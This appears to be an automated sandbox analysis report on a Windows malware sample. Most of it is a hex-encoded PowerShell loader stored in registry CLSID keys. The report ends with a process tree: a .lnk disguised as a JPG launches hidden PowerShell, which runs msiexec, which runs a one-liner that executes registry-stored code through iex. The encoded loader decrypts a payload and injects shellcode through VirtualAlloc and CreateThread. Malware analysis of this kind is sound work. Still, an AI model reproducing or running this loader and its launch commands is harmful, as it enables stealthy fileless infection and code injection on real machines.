73635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303332333034333330343333303330324433303330333133323244333033393330333132443331333233303332324433303436333033323331333233313332333033393330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033323330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303332333034333237334232343641364433393344323832343633363733373542333333323544324232383238333133313244323833313244323833313332333733313336333233363339333632303244363237383646373232303331333233373331333633323336333933363239323932393242333233333239323933423230323436363732333533443234363336373337354232343641364433393245324532383234364136443339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436363732333532393342323436333637333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333233303433333034333330333032443330333033313332324433303339333033313244333133323330333232443330343633303332333133323331333233303339333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303339333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333933303435323733423234364136443339334437423230323436333645333733443330324532453332333533353342333032453245333233353335374332353742323032343737364233323344323832343737364233323242323436333645333735423234354635443242323436363732333535423234354632353234363637323335324534433635364536373734363835443239323532383238333533353242333233303331323932393342323032343633364533373542323435463544324332343633364533373542323437373642333235443344323436333645333735423234373736423332354432433234363336453337354232343546354432303744323033423234363336373337374332353742323436433641333133443238323436433641333132423331323932353238323832383336324233303239324233393334323932423331333533363239334232303234373837303337334432383234373837303337324232343633364533373542323436433641333135443239323532383339324232383336333132423238333333303337324433313332333132393239323933423230323436333645333735423234364336413331354432433234363336453337354232343738373033373544334432343633364533373542323437383730333735443243323436333645333735423234364336413331354433423234354632443632373836463732323436333645333735423238323436333645333735423234364336413331354432423234363336453337354232343738373033373544323932353238323833323336333732443238333133373244333632393239323935443230374432303744323033423234374136363335323033443230323832363230323436413644333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436433641333133443330334232343643364133313230324436433734323032343741363633353245344336353645363737343638334232343643364133313242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234374136363335324535333735363237333734373236393645363732383234364336413331324333323239324332383238323833313332324233313330323932393244333632393239323037443239323927297c2628247073686f6d655b3133302d3132365d2b247073686f6d655b3230352d3137315d2b277827297d66756e6374696f6e206578397b706172616d28247873372c246e7538292028797a3220273234363936413334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303332333034333330343333303330324433303330333133323244333033393330333132443331333233303332324433303436333033323331333233313332333033393330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033323330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303332333034333237334232343644364333373344323832343639364133343542333333323544324232383238333133313244323833313244323833313332333733313336333233363339333632303244363237383646373232303331333233373331333633323336333933363239323932393242333233333239323933423230323437333635333033443234363936413334354232343644364333373245324532383234364436433337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437333635333032393342323436393641333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333233303433333034333330333032443330333033313332324433303339333033313244333133323330333232443330343633303332333133323331333233303339333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303339333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333933303435323733423234364436433337334437423230323436333638333133443330324532453332333533353342333032453245333233353335374332353742323032343735363433333344323832343735363433333242323436333638333135423234354635443242323437333635333035423234354632353234373336353330324534433635364536373734363835443239323532383238333533353242333233303331323932393342323032343633363833313542323435463544324332343633363833313542323437353634333335443344323436333638333135423234373536343333354432433234363336383331354232343546354432303744323033423234363936413334374332353742323436393638333533443238323436393638333532423331323932353238323832383336324233303239324233393334323932423331333533363239334232303234373437413333334432383234373437413333324232343633363833313542323436393638333535443239323532383339324232383336333132423238333333303337324433313332333132393239323933423230323436333638333135423234363936383335354432433234363336383331354232343734374133333544334432343633363833313542323437343741333335443243323436333638333135423234363936383335354433423234354632443632373836463732323436333638333135423238323436333638333135423234363936383335354432423234363336383331354232343734374133333544323932353238323833323336333732443238333133373244333632393239323935443230374432303744323033423234373436463331323033443230323832363230323436443643333737433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436393638333533443330334232343639363833353230324436433734323032343734364633313245344336353645363737343638334232343639363833353242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373436463331324535333735363237333734373236393645363732383234363936383335324333323239324332383238323833313332324233313330323932393244333632393239323037443239323927297c2628247073686f6d655b3133312d3132375d2b247073686f6d655b3139382d3136345d2b277827297d66756e6374696f6e20776d357b706172616d28247879382c246362382920286b6d3420273234373237363339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303332333034333330343333303330324433303330333133323244333033393330333132443331333233303332324433303436333033323331333233313332333033393330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033323330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303332333034333237334232343637373933393344323832343732373633393542333333323544324232383238333133313244323833313244323833313332333733313336333233363339333632303244363237383646373232303331333233373331333633323336333933363239323932393242333233333239323933423230323437393631333533443234373237363339354232343637373933393245324532383234363737393339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437393631333532393342323437323736333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333233303433333034333330333032443330333033313332324433303339333033313244333133323330333232443330343633303332333133323331333233303339333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303339333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333933303435323733423234363737393339334437423230323437333738333833443330324532453332333533353342333032453245333233353335374332353742323032343643363633303344323832343643363633303242323437333738333835423234354635443242323437393631333535423234354632353234373936313335324534433635364536373734363835443239323532383238333533353242333233303331323932393342323032343733373833383542323435463544324332343733373833383542323436433636333035443344323437333738333835423234364336363330354432433234373337383338354232343546354432303744323033423234373237363339374332353742323436443739333333443238323436443739333332423331323932353238323832383336324233303239324233393334323932423331333533363239334232303234373337313334334432383234373337313334324232343733373833383542323436443739333335443239323532383339324232383336333132423238333333303337324433313332333132393239323933423230323437333738333835423234364437393333354432433234373337383338354232343733373133343544334432343733373833383542323437333731333435443243323437333738333835423234364437393333354433423234354632443632373836463732323437333738333835423238323437333738333835423234364437393333354432423234373337383338354232343733373133343544323932353238323833323336333732443238333133373244333632393239323935443230374432303744323033423234363437363335323033443230323832363230323436373739333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436443739333333443330334232343644373933333230324436433734323032343634373633353245344336353645363737343638334232343644373933333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363437363335324535333735363237333734373236393645363732383234364437393333324333323239324332383238323833313332324233313330323932393244333632393239323037443239323927297c2628247073686f6d655b3133372d3133335d2b247073686f6d655b3231382d3138345d2b277827297d246367373d68613220276f777363616265787472666d68756c27202779697076717563686c7a7862737767662720277275786166796b646962657a767767706e273b66756e6374696f6e206a7a317b706172616d2824747a302c247566322920287a6a37202732343641363533383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343641363533383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343734374133303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343641363533383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437353636333232433234373437413330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364136353338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138352d3138315d2b247073686f6d655b3134342d3131305d2b277827297d66756e6374696f6e207277367b706172616d28246f79342c24726c3129202867743920273234373436333335334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303332333034333330343333303330324433303330333133323244333033393330333132443331333233303332324433303436333033323331333233313332333033393330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033323330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303332333034333237334232343737363733303344323832343734363333353542333333323544324232383238333133313244323833313244323833313332333733313336333233363339333632303244363237383646373232303331333233373331333633323336333933363239323932393242333233333239323933423230323436423734333233443234373436333335354232343737363733303245324532383234373736373330324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436423734333232393342323437343633333533443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333233303433333034333330333032443330333033313332324433303339333033313244333133323330333232443330343633303332333133323331333233303339333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303339333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333933303435323733423234373736373330334437423230323436363632333933443330324532453332333533353342333032453245333233353335374332353742323032343735363233313344323832343735363233313242323436363632333935423234354635443242323436423734333235423234354632353234364237343332324534433635364536373734363835443239323532383238333533353242333233303331323932393342323032343636363233393542323435463544324332343636363233393542323437353632333135443344323436363632333935423234373536323331354432433234363636323339354232343546354432303744323033423234373436333335374332353742323436323739333633443238323436323739333632423331323932353238323832383336324233303239324233393334323932423331333533363239334232303234364537413334334432383234364537413334324232343636363233393542323436323739333635443239323532383339324232383336333132423238333333303337324433313332333132393239323933423230323436363632333935423234363237393336354432433234363636323339354232343645374133343544334432343636363233393542323436453741333435443243323436363632333935423234363237393336354433423234354632443632373836463732323436363632333935423238323436363632333935423234363237393336354432423234363636323339354232343645374133343544323932353238323833323336333732443238333133373244333632393239323935443230374432303744323033423234363736423331323033443230323832363230323437373637333037433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436323739333633443330334232343632373933363230324436433734323032343637364233313245344336353645363737343638334232343632373933363242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363736423331324535333735363237333734373236393645363732383234363237393336324333323239324332383238323833313332324233313330323932393244333632393239323037443239323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3138302d3134365d2b277827297d66756e6374696f6e206b63317b706172616d28246a79372c246f68332c24637734292028766630202732343637364433343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343637364433343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343641373933373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343637364433343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436463638333332433234364137393337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363736443334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138362d3138325d2b247073686f6d655b3232312d3138375d2b277827297d66756e6374696f6e206d67367b706172616d28246367372c247461342c246a79352c247473302920286664382027323436333645333733443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373636333333323032373536363937323734373536313643343136433643364636333435373832373239324332383639364533343230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323437343631333432433238323833363333333733343242333833313334333632393244333233323333333232393243323437343733333032393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837363633333332303237353237343643344436463736363534443635364436463732373932373239324332383639364533343230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343633364533373243323436333637333732433234373436313334323933423234363336453337334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323436333645333732453534364634393645373433363334323832393242323436413739333532393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837363633333332303237343337323635363137343635353436383732363536313634323732393243323836393645333432303430323835423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238333032433330324332343633364533373243333032433330324333303239334235333734363137323734324435333643363536353730323032443733323032383238323833353336333933333244333233373333333232393239323927297c2628247073686f6d655b3137392d3137355d2b247073686f6d655b3138312d3134375d2b277827297d66756e6374696f6e206f70347b706172616d2824746d332c246e6d382c24796439292028626437202732343645374133323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343645374133323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343734364433333239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343645374133323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436453644333832433234373436443333323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364537413332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131342d3131305d2b247073686f6d655b3232392d3139355d2b277827297d6d6736202463673720246367372e6c656e677468202828373634372b31353232292b3833373129202833342b282831342b38292b38292966756e6374696f6e206d71357b706172616d28246e66322c246c6b382c2465723729202878663620273234373936463331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303332333034333330343333303330324433303330333133323244333033393330333132443331333233303332324433303436333033323331333233313332333033393330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033323330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303332333034333237334232343737373333343344323832343739364633313542333333323544324232383238333133313244323833313244323833313332333733313336333233363339333632303244363237383646373232303331333233373331333633323336333933363239323932393242333233333239323933423230323437313641333433443234373936463331354232343737373333343245324532383234373737333334324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437313641333432393342323437393646333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333233303433333034333330333032443330333033313332324433303339333033313244333133323330333232443330343633303332333133323331333233303339333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303339333034353237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333933303435323733423234373737333334334437423230323437353638333833443330324532453332333533353342333032453245333233353335374332353742323032343646373033323344323832343646373033323242323437353638333835423234354635443242323437313641333435423234354632353234373136413334324534433635364536373734363835443239323532383238333533353242333233303331323932393342323032343735363833383542323435463544324332343735363833383542323436463730333235443344323437353638333835423234364637303332354432433234373536383338354232343546354432303744323033423234373936463331374332353742323436423736333333443238323436423736333332423331323932353238323832383336324233303239324233393334323932423331333533363239334232303234374136313332334432383234374136313332324232343735363833383542323436423736333335443239323532383339324232383336333132423238333333303337324433313332333132393239323933423230323437353638333835423234364237363333354432433234373536383338354232343741363133323544334432343735363833383542323437413631333235443243323437353638333835423234364237363333354433423234354632443632373836463732323437353638333835423238323437353638333835423234364237363333354432423234373536383338354232343741363133323544323932353238323833323336333732443238333133373244333632393239323935443230374432303744323033423234364137413332323033443230323832363230323437373733333437433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436423736333333443330334232343642373633333230324436433734323032343641374133323245344336353645363737343638334232343642373633333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364137413332324535333735363237333734373236393645363732383234364237363333324333323239324332383238323833313332324233313330323932393244333632393239323037443239323927297c2628247073686f6d655b3131322d3130385d2b247073686f6d655b3232302d3138365d2b277827297d powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\VersionIndependentProgID\020C = 272978442c5b3c752a5968353f7e585c495a214b6e43394f34242853505f673d3d79556b256d363a424d326a7661706c3354715d2d227b237772414e3e7a4c467d62486f56385e74523764512b314769652657604066453b732e2f30637c687734737663613070756e6a39366d7879647467326c7a716562316f69666b72657d5153687a617e3c6b66396c796a57732f2a2c753b7b6729565e7841762532266d606372355b71445f3a472830424336462e24214b4a556e69497c5c315070585d645a3d546f222774383f34593752482d624e2b4d4c3e334f40457723 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1127.ps1" powershell.exe Key created \REGISTRY\MACHINE\software\classes\{040D0C0E-070C-0106-0C03-0C010C000513}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{040D0C0E-070C-0106-0C03-0C010C000513} powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3192 powershell.exe 3192 powershell.exe 3192 powershell.exe 3192 powershell.exe 4392 msiexec.exe 4392 msiexec.exe 2632 powershell.exe 2632 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3192 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3192 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2076 wrote to memory of 3192 2076 cmd.exe 53 PID 2076 wrote to memory of 3192 2076 cmd.exe 53 PID 3192 wrote to memory of 4392 3192 powershell.exe 90 PID 3192 wrote to memory of 4392 3192 powershell.exe 90 PID 4392 wrote to memory of 2632 4392 msiexec.exe 91 PID 4392 wrote to memory of 2632 4392 msiexec.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_660.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1127.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='4582';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
-
-
-